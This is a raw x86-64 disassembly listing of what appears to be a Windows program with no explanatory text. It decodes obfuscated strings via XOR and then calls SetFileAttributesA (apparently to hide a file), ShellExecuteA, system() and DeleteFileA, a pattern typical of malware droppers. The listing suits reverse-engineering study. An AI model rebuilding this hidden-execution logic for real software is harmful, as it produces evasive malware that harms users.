mov rbx, rax
mov qword [rbp + 0xa3b0], r13
mov qword [rbp + 0xa3b8], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x660], rax
mov qword [rbp + 0x668], r12
movdqa xmm0, xmmword [rbp + 0x660]
pxor xmm0, xmmword [rbp + 0xa3b0]
movdqa xmmword [rbp + 0x660], xmm0
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x5b20]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8840]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x5b40]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa3a0], r13
mov qword [rbp + 0xa3a8], r12
movabs rax, 0x4294963a4014dd7
mov qword [rbp + 0x670], rax
mov qword [rbp + 0x678], r12
movdqa xmm0, xmmword [rbp + 0x670]
pxor xmm0, xmmword [rbp + 0xa3a0]
movdqa xmmword [rbp + 0x670], xmm0
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x5b60]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8840]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4920]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8840]
lea rdx, [rbp + 0x4920]
lea rcx, [rbp + 0x9080]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4920]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa390], r13
mov qword [rbp + 0xa398], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x680], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x688], rax
movdqa xmm0, xmmword [rbp + 0x680]
pxor xmm0, xmmword [rbp + 0xa390]
movdqa xmmword [rbp + 0x680], xmm0
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x5b80]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9080]
lea rcx, [rbp + 0x5ba0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90a0]
call fcn.7ff7cbf58a40
cmp qword [rbp + 0x90b0], r15
jne 0x7ff7cbf6bcbb
lea rdx, [rbp + 0x9080]
jmp 0x7ff7cbf6bcd5
lea rdx, [rbp + 0x90a0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rdx, [rbp + 0x89e0]
lea rcx, [rbp + 0x86c0]
call fcn.7ff7cbf35998
lea rcx, [rbp + 0x90a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9080]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8840]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9140]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ba0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x89e0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
cmp qword [rbp + 0x86d0], 0x1000
jb 0x7ff7cbf6c48c
lea rcx, [rbp + 0x8430]
call fcn.7ff7cbf4f52c
test al, al
jne 0x7ff7cbf6c3ea
mov ebx, dword [rbp + 0x86d0]
lea rdi, [rbp + 0x86c0]
cmp qword [rbp + 0x86d8], 0x10
cmovae rdi, qword [rbp + 0x86c0]
lea rdx, [rbp + 0x8430]
lea rcx, [rbp + 0x5bc0]
call fcn.7ff7cbf359c8
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
call fcn.7ff7cbf4d4e8
test eax, eax
jne 0x7ff7cbf6c3e0
mov qword [rbp + 0xa6a0], r13
mov qword [rbp + 0xa6a8], r12
mov qword [rbp + 0xa6b0], rsi
mov qword [rbp + 0xa6b8], r14
movabs rbx, 0x70092d06be0b49c3
mov qword [rbp + 0xcf0], rbx
movabs rax, 0x8596229d1ddeb9c9
mov qword [rbp + 0xcf8], rax
movabs rax, 0x7c45e9419ccf65a8
mov qword [rbp + 0xd00], rax
movabs rax, 0x83b338e8fb3346ae
mov qword [rbp + 0xd08], rax
movdqa xmm0, xmmword [rbp + 0xcf0]
pxor xmm0, xmmword [rbp + 0xa6a0]
movdqa xmmword [rbp + 0xcf0], xmm0
movdqa xmm1, xmmword [rbp + 0xd00]
pxor xmm1, xmmword [rbp + 0xa6b0]
movdqa xmmword [rbp + 0xd00], xmm1
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0xcf0]
lea rcx, [rbp + 0x5be0]
call fcn.7ff7cbf2ae10
mov rdi, rax
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8ac0]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8ad0], r15
jne 0x7ff7cbf6bf2c
mov qword [rbp + 0xa680], r13
mov qword [rbp + 0xa688], r12
mov qword [rbp + 0xa690], rsi
mov qword [rbp + 0xa698], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x1090], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x1098], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x10a0], rax
mov qword [rbp + 0x10a8], r14
movdqa xmm0, xmmword [rbp + 0x1090]
pxor xmm0, xmmword [rbp + 0xa680]
movdqa xmmword [rbp + 0x1090], xmm0
movdqa xmm1, xmmword [rbp + 0x10a0]
pxor xmm1, xmmword [rbp + 0xa690]
movdqa xmmword [rbp + 0x10a0], xmm1
lea rdx, [rbp + 0x1090]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
lea rcx, [rbp + 0x8ac0]
call fcn.7ff7cbf376b0
mov rcx, rdi
call fcn.7ff7cbf376b0
movabs rdi, 0xc642deaea7eac92a
jmp 0x7ff7cbf6cad0
mov qword [rbp + 0xa660], r13
mov qword [rbp + 0xa668], r12
mov qword [rbp + 0xa670], rsi
mov qword [rbp + 0xa678], r14
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xf50], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xf58], rax
mov qword [rbp + 0xf60], rsi
mov qword [rbp + 0xf68], r14
movdqa xmm0, xmmword [rbp + 0xf50]
pxor xmm0, xmmword [rbp + 0xa660]
movdqa xmmword [rbp + 0xf50], xmm0
movdqa xmm1, xmmword [rbp + 0xf60]
pxor xmm1, xmmword [rbp + 0xa670]
movdqa xmmword [rbp + 0xf60], xmm1
lea rdx, [rbp + 0xf50]
lea rcx, [rbp + 0x5c00]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8ac0]
lea rcx, [rbp + 0x5c20]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x91a0]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x8680], r15
mov qword [rbp + 0x8690], r15
mov qword [rbp + 0x8698], 0xf
lea rdx, [rbp + 0x8ac0]
lea rcx, [rbp + 0x5c40]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa380], r13
mov qword [rbp + 0xa388], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x690], rax
mov qword [rbp + 0x698], r12
movdqa xmm0, xmmword [rbp + 0x690]
pxor xmm0, xmmword [rbp + 0xa380]
movdqa xmmword [rbp + 0x690], xmm0
lea rdx, [rbp + 0x690]
lea rcx, [rbp + 0x5c60]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8680]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x91a0]
lea rcx, [rbp + 0x5c80]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa370], r13
mov qword [rbp + 0xa378], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0x6a8], r12
movdqa xmm0, xmmword [rbp + 0x6a0]
pxor xmm0, xmmword [rbp + 0xa370]
movdqa xmmword [rbp + 0x6a0], xmm0
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x5ca0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8680]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x5cc0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa360], r13
mov qword [rbp + 0xa368], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x6b0], rax
mov qword [rbp + 0x6b8], r12
movdqa xmm0, xmmword [rbp + 0x6b0]
pxor xmm0, xmmword [rbp + 0xa360]
movdqa xmmword [rbp + 0x6b0], xmm0
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x5ce0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8680]
call fcn.7ff7cbf58f9c
mov rdx, rdi
lea rcx, [rbp + 0x5d00]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rcx, 0x664b7854b6534bc1
movabs rdx, 0xd4d760965bd9acc4
movabs rax, 0xccec465fcd4509f9
movabs rdi, 0xc642deaea7eac92a
movabs r8, 0x6500ee55da9d2e92
movabs r9, 0xe58a098beb704fad
mov qword [rbp + 0xa110], r13
mov qword [rbp + 0xa118], r12
mov qword [rbp + 0xa120], rsi
mov qword [rbp + 0xa128], r14
mov qword [rbp + 0xa130], rax
mov qword [rbp + 0xa138], rdi
mov qword [rbp + 0x1400], rcx
mov qword [rbp + 0x1408], rdx
mov qword [rbp + 0x1410], r8
mov qword [rbp + 0x1418], r9
mov qword [rbp + 0x1420], rax
mov qword [rbp + 0x1428], rdi
movdqa xmm0, xmmword [rbp + 0x1400]
pxor xmm0, xmmword [rbp + 0xa110]
movdqa xmmword [rbp + 0x1400], xmm0
movdqa xmm1, xmmword [rbp + 0xa120]
pxor xmm1, xmmword [rbp + 0x1410]
movdqa xmmword [rbp + 0x1410], xmm1
movdqa xmm0, xmmword [rbp + 0xa130]
pxor xmm0, xmmword [rbp + 0x1420]
movdqa xmmword [rbp + 0x1420], xmm0
lea rdx, [rbp + 0x1400]
lea rcx, [rbp + 0x5d20]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8680]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4940]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8680]
lea rdx, [rbp + 0x4940]
lea rcx, [rbp + 0x9180]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4940]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa350], r13
mov qword [rbp + 0xa358], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x6c0], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x6c8], rax
movdqa xmm0, xmmword [rbp + 0x6c0]
pxor xmm0, xmmword [rbp + 0xa350]
movdqa xmmword [rbp + 0x6c0], xmm0
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0x5d40]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9180]
lea rcx, [rbp + 0x5d60]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9040]
call fcn.7ff7cbf58a40
mov qword [rbp + 0xa340], r13
mov qword [rbp + 0xa348], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x6d0], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x6d8], rax
movdqa xmm0, xmmword [rbp + 0x6d0]
pxor xmm0, xmmword [rbp + 0xa340]
movdqa xmmword [rbp + 0x6d0], xmm0
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x9040]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6c3a4
lea rdx, [rbp + 0x9040]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x9040]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9180]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8680]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x91a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ac0]
jmp 0x7ff7cbf6cab5
movabs rdi, 0xc642deaea7eac92a
lea rcx, [rbp + 0x8430]
cmp qword [rbp + 0x8448], 0x10
cmovae rcx, qword [rbp + 0x8430]
call qword [sym.imp.kernel32.dll_GetFileAttributesA]
lea rcx, [rbp + 0x8430]
cmp qword [rbp + 0x8448], 0x10
cmovae rcx, qword [rbp + 0x8430]
lea edx, [rax + 2]
call qword [sym.imp.kernel32.dll_SetFileAttributesA]
lea r8, [rbp + 0x8430]
cmp qword [rbp + 0x8448], 0x10
cmovae r8, qword [rbp + 0x8430]
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.shell32.dll_ShellExecuteA]
lea rcx, [rbp + 0x8430]
cmp qword [rbp + 0x8448], 0x10
cmovae rcx, qword [rbp + 0x8430]
call fcn.7ff7cbf62844
lea rcx, [rbp + 0x86c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8430]
jmp 0x7ff7cbf6b533
mov qword [rbp + 0x9fc0], r13
mov qword [rbp + 0x9fc8], r12
mov qword [rbp + 0x9fd0], rsi
mov qword [rbp + 0x9fd8], r14
movabs rbx, 0x70092d06be0b49c3
mov qword [rbp + 0xf70], rbx
movabs rax, 0x84da309301dfb9c9
mov qword [rbp + 0xf78], rax
movabs rax, 0x2c47ed43b3ca3793
mov qword [rbp + 0xf80], rax
movabs rax, 0x83934a87bd615bad
mov qword [rbp + 0xf88], rax
movdqa xmm0, xmmword [rbp + 0xf70]
pxor xmm0, xmmword [rbp + 0x9fc0]
movdqa xmmword [rbp + 0xf70], xmm0
movdqa xmm1, xmmword [rbp + 0x9fd0]
pxor xmm1, xmmword [rbp + 0xf80]
movdqa xmmword [rbp + 0xf80], xmm1
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0x5d80]
call fcn.7ff7cbf2ae10
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8b80]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8b90], r15
jne 0x7ff7cbf6c60c
mov qword [rbp + 0x9fa0], r13
mov qword [rbp + 0x9fa8], r12
mov qword [rbp + 0x9fb0], rsi
mov qword [rbp + 0x9fb8], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xf90], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xf98], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xfa0], rax
mov qword [rbp + 0xfa8], r14
movdqa xmm0, xmmword [rbp + 0xf90]
pxor xmm0, xmmword [rbp + 0x9fa0]
movdqa xmmword [rbp + 0xf90], xmm0
movdqa xmm1, xmmword [rbp + 0x9fb0]
pxor xmm1, xmmword [rbp + 0xfa0]
movdqa xmmword [rbp + 0xfa0], xmm1
lea rdx, [rbp + 0xf90]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
lea rcx, [rbp + 0x8b80]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
jmp 0x7ff7cbf6cad0
mov qword [rbp + 0x9f80], r13
mov qword [rbp + 0x9f88], r12
mov qword [rbp + 0x9f90], rsi
mov qword [rbp + 0x9f98], r14
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xfb0], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xfb8], rax
mov qword [rbp + 0xfc0], rsi
mov qword [rbp + 0xfc8], r14
movdqa xmm0, xmmword [rbp + 0xfb0]
pxor xmm0, xmmword [rbp + 0x9f80]
movdqa xmmword [rbp + 0xfb0], xmm0
movdqa xmm1, xmmword [rbp + 0x9f90]
pxor xmm1, xmmword [rbp + 0xfc0]
movdqa xmmword [rbp + 0xfc0], xmm1
lea rdx, [rbp + 0xfb0]
lea rcx, [rbp + 0x5da0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8b80]
lea rcx, [rbp + 0x5dc0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x91e0]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x86a0], r15
mov qword [rbp + 0x86b0], r15
mov qword [rbp + 0x86b8], 0xf
lea rdx, [rbp + 0x8b80]
lea rcx, [rbp + 0x5de0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa330], r13
mov qword [rbp + 0xa338], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0x6e8], r12
movdqa xmm0, xmmword [rbp + 0x6e0]
pxor xmm0, xmmword [rbp + 0xa330]
movdqa xmmword [rbp + 0x6e0], xmm0
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x5e00]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x86a0]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x91e0]
lea rcx, [rbp + 0x5e20]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa320], r13
mov qword [rbp + 0xa328], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], r12
movdqa xmm0, xmmword [rbp + 0x6f0]
pxor xmm0, xmmword [rbp + 0xa320]
movdqa xmmword [rbp + 0x6f0], xmm0
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x5e40]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x86a0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x5e60]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9d10], r13
mov qword [rbp + 0x9d18], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x700], rax
mov qword [rbp + 0x708], r12
movdqa xmm0, xmmword [rbp + 0x700]
pxor xmm0, xmmword [rbp + 0x9d10]
movdqa xmmword [rbp + 0x700], xmm0
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x5e80]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x86a0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x5ea0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rcx, 0x664b7854b6534bc1
movabs rdx, 0xd4d760965bd9acc4
movabs rax, 0xccec465fcd4509f9
movabs r8, 0x6500ee55da9d2e92
movabs r9, 0xe58a098beb704fad
mov qword [rbp + 0xa140], r13
mov qword [rbp + 0xa148], r12
mov qword [rbp + 0xa150], rsi
mov qword [rbp + 0xa158], r14
mov qword [rbp + 0xa160], rax
mov qword [rbp + 0xa168], rdi
mov qword [rbp + 0x1280], rcx
mov qword [rbp + 0x1288], rdx
mov qword [rbp + 0x1290], r8
mov qword [rbp + 0x1298], r9
mov qword [rbp + 0x12a0], rax
mov qword [rbp + 0x12a8], rdi
movdqa xmm0, xmmword [rbp + 0x1280]
pxor xmm0, xmmword [rbp + 0xa140]
movdqa xmmword [rbp + 0x1280], xmm0
movdqa xmm1, xmmword [rbp + 0xa150]
pxor xmm1, xmmword [rbp + 0x1290]
movdqa xmmword [rbp + 0x1290], xmm1
movdqa xmm0, xmmword [rbp + 0xa160]
pxor xmm0, xmmword [rbp + 0x12a0]
movdqa xmmword [rbp + 0x12a0], xmm0
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x5ec0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x86a0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4960]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x86a0]
lea rdx, [rbp + 0x4960]
lea rcx, [rbp + 0x91c0]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4960]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0x9d20], r13
mov qword [rbp + 0x9d28], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x710], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x718], rax
movdqa xmm0, xmmword [rbp + 0x710]
pxor xmm0, xmmword [rbp + 0x9d20]
movdqa xmmword [rbp + 0x710], xmm0
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x5ee0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x91c0]
lea rcx, [rbp + 0x5f00]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9020]
call fcn.7ff7cbf58a40
mov qword [rbp + 0x9d30], r13
mov qword [rbp + 0x9d38], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x720], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x728], rax
movdqa xmm0, xmmword [rbp + 0x720]
pxor xmm0, xmmword [rbp + 0x9d30]
movdqa xmmword [rbp + 0x720], xmm0
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x9020]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6ca7e
lea rdx, [rbp + 0x9020]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x9020]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x91c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x86a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x91e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8b80]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
movabs rbx, 0x70092d06be0b49c3
lea rcx, [rbp + 0x86c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8430]
jmp 0x7ff7cbf6e889
lea rdx, [0x7ff7cbf7ea78]
lea rcx, [rbp + 0x8ca0]
call fcn.7ff7cbf2aaa8
test al, al
je 0x7ff7cbf6e88e
mov edx, 0x104
lea rcx, [rbp + 0xaf10]
call qword [sym.imp.kernel32.dll_GetSystemDirectoryA]
movabs rbx, 0xb4a96b7fa826679c
movabs rdx, 0x57853ec912fd195f
movabs r8, 0x61413a11b71547d5
movabs r9, 0x8cdb3db1429af5ca
movabs r10, 0x7153e870ccca7996
movabs r11, 0xf1d65e8da9115985
movabs rcx, 0x3aac6380b37fbe10
mov qword [rbp + 0xab40], r13
mov qword [rbp + 0xab48], r12
mov qword [rbp + 0xab50], rsi
mov qword [rbp + 0xab58], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0xab60], rax
mov qword [rbp + 0xab68], rdi
movabs rax, 0x81c0a99dbb62be0b
mov qword [rbp + 0xab70], rax
movabs rax, 0x6c08c6d4812e996c
mov qword [rbp + 0xab78], rax
movabs rax, 0xa5e5291b4477960d
mov qword [rbp + 0xab80], rax
movabs rax, 0x1dd20b8a36ca0bee
mov qword [rbp + 0xab88], rax
mov qword [rbp + 0xab90], rdx
mov qword [rbp + 0xab98], rcx
mov qword [rbp + 0x1820], r8
mov qword [rbp + 0x1828], r9
mov qword [rbp + 0x1830], r10
mov qword [rbp + 0x1838], r11
mov qword [rbp + 0x1840], rbx
movabs rax, 0x962cb1c7d49fa549
mov qword [rbp + 0x1848], rax
movabs rax, 0xd4e0daeede01d179
mov qword [rbp + 0x1850], rax
movabs rax, 0x1f618ab1f54ffd1c
mov qword [rbp + 0x1858], rax
movabs rax, 0xcbdb097e3c12b879
mov qword [rbp + 0x1860], rax
movabs rax, 0x71a765b404ea679b
mov qword [rbp + 0x1868], rax
mov qword [rbp + 0x1870], rdx
mov qword [rbp + 0x1878], rcx
movdqa xmm0, xmmword [rbp + 0x1820]
pxor xmm0, xmmword [rbp + 0xab40]
movdqa xmmword [rbp + 0x1820], xmm0
movdqa xmm1, xmmword [rbp + 0xab50]
pxor xmm1, xmmword [rbp + 0x1830]
movdqa xmmword [rbp + 0x1830], xmm1
movdqa xmm0, xmmword [rbp + 0xab60]
pxor xmm0, xmmword [rbp + 0x1840]
movdqa xmmword [rbp + 0x1840], xmm0
movdqa xmm1, xmmword [rbp + 0xab70]
pxor xmm1, xmmword [rbp + 0x1850]
movdqa xmmword [rbp + 0x1850], xmm1
movdqa xmm0, xmmword [rbp + 0xab80]
pxor xmm0, xmmword [rbp + 0x1860]
movdqa xmmword [rbp + 0x1860], xmm0
movdqa xmm1, xmmword [rbp + 0xab90]
pxor xmm1, xmmword [rbp + 0x1870]
movdqa xmmword [rbp + 0x1870], xmm1
lea rcx, [rbp + 0x1820]
call qword [sym.imp.ucrtbase.dll_system]
mov qword [rbp + 0x9d40], r13
mov qword [rbp + 0x9d48], r12
movabs rax, 0x6d652c17b30658f0
mov qword [rbp + 0x730], rax
movabs rax, 0xe1b6378a0a94edd5
mov qword [rbp + 0x738], rax
movdqa xmm0, xmmword [rbp + 0x730]
pxor xmm0, xmmword [rbp + 0x9d40]
movdqa xmmword [rbp + 0x730], xmm0
lea rdx, [0x7ff7cbf84300]
lea rcx, [rbp + 0x4fe0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0xaf10]
lea rcx, [rbp + 0x4fc0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x4fa0]
call fcn.7ff7cbf2abfc
lea r8, [rbp + 0x730]
mov rdx, rax
lea rcx, [rbp + 0x85b8]
call fcn.7ff7cbf2ac80
lea rcx, [rbp + 0x4fa0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4fc0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4fe0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x85b8]
cmp qword [rbp + 0x85d0], 0x10
cmovae rcx, qword [rbp + 0x85b8]
call qword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, 2
call fcn.7ff7cbf78368
mov word [rax], 0x35
mov rdx, rax
lea rcx, [rbp + 0x5f20]
call fcn.7ff7cbf359ec
mov rbx, rax
mov qword [rbp + 0x99e0], rax
mov qword [rbp + 0x8968], r15
mov qword [rbp + 0x8978], r15
mov qword [rbp + 0x8980], 0xf
lea rcx, [rbp + 0x8b20]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8b30], r15
jne 0x7ff7cbf6cf04
mov qword [rbp + 0x9f60], r13
mov qword [rbp + 0x9f68], r12
mov qword [rbp + 0x9f70], rsi
mov qword [rbp + 0x9f78], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xfd0], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xfd8], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xfe0], rax
mov qword [rbp + 0xfe8], r14
movdqa xmm0, xmmword [rbp + 0xfd0]
pxor xmm0, xmmword [rbp + 0x9f60]
movdqa xmmword [rbp + 0xfd0], xmm0
movdqa xmm1, xmmword [rbp + 0x9f70]
pxor xmm1, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0xfe0], xmm1
lea rdx, [rbp + 0xfd0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
lea rdx, [rbp + 0x8968]
lea rcx, [rbp + 0x8a40]
call fcn.7ff7cbf35998
lea rcx, [rbp + 0x8b20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8968]
call fcn.7ff7cbf376b0
mov rcx, rbx
jmp 0x7ff7cbf6d2c7
mov qword [rbp + 0x9d50], r13
mov qword [rbp + 0x9d58], r12
movabs rax, 0x614520058d164dc2
mov qword [rbp + 0x740], rax
movabs rax, 0xe1b652f21bdbebf9
mov qword [rbp + 0x748], rax
movdqa xmm0, xmmword [rbp + 0x740]
pxor xmm0, xmmword [rbp + 0x9d50]
movdqa xmmword [rbp + 0x740], xmm0
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x5f40]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8b20]
lea rcx, [rbp + 0x5f60]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9200]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x8760], r15
mov qword [rbp + 0x8770], r15
mov qword [rbp + 0x8778], 0xf
lea rdx, [rbp + 0x8b20]
lea rcx, [rbp + 0x5f80]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9d60], r13
mov qword [rbp + 0x9d68], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x758], r12
movdqa xmm0, xmmword [rbp + 0x750]
pxor xmm0, xmmword [rbp + 0x9d60]
movdqa xmmword [rbp + 0x750], xmm0
lea rdx, [rbp + 0x750]
lea rcx, [rbp + 0x5fa0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8760]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9200]
lea rcx, [rbp + 0x5fc0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9d70], r13
mov qword [rbp + 0x9d78], r12
